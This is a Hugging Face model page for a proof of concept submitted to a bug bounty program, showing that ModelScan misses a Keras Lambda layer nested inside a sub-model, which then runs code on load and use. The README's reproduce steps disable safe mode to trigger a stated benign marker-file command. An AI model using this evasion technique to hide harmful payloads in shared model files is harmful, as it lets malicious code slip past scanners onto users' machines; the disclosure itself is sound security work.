Instructions to use HannahFreitas/keras-nested-lambda-modelscan-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use HannahFreitas/keras-nested-lambda-modelscan-poc with Keras:
# !pip install -U keras tensorflow huggingface_hub # Keras needs TensorFlow installed to read "hf://" paths, so the tensorflow backend is selected here; # "jax" and "torch" also work for computation once TensorFlow is installed. import os os.environ["KERAS_BACKEND"] = "tensorflow" import keras model = keras.saving.load_model("hf://HannahFreitas/keras-nested-lambda-modelscan-poc") - Notebooks
- Google Colab
- Kaggle
|
Download README.md from HannahFreitas/keras-nested-lambda-modelscan-poc: direct link, hf CLI and curl.
- Browser
- Download file 868 Bytes
-
https://huggingface.co/HannahFreitas/keras-nested-lambda-modelscan-poc/resolve/main/README.md
- Command line
-
hf download hf://HannahFreitas/keras-nested-lambda-modelscan-poc/README.md
-
curl -L -H "Authorization: Bearer $HF_TOKEN" -o README.md https://huggingface.co/HannahFreitas/keras-nested-lambda-modelscan-poc/resolve/main/README.md
868 Bytes
ModelScan bypass PoC — Nested Lambda in .keras
Security research PoC for the Protect AI Huntr "Model Format Vulnerability" program.
Issue: ModelScan only inspects top-level layers when scanning .keras/.h5 for
class_name == "Lambda". A Lambda layer nested inside a sub-model (Sequential/Functional)
is not detected (total_issues = 0), yet Keras reconstructs and executes it on load+use.
Payload in this PoC is benign: os.system("touch /tmp/keras_nested_pwned").
Reproduce
pip install modelscan keras tensorflow
modelscan -p nested_evil.keras # -> "No issues found" / total_issues=0 (BYPASS)
python -c "import keras,numpy as np; m=keras.saving.load_model('nested_evil.keras',safe_mode=False,compile=False); m.predict(np.zeros((1,3)))"
ls /tmp/keras_nested_pwned # marker created -> code executed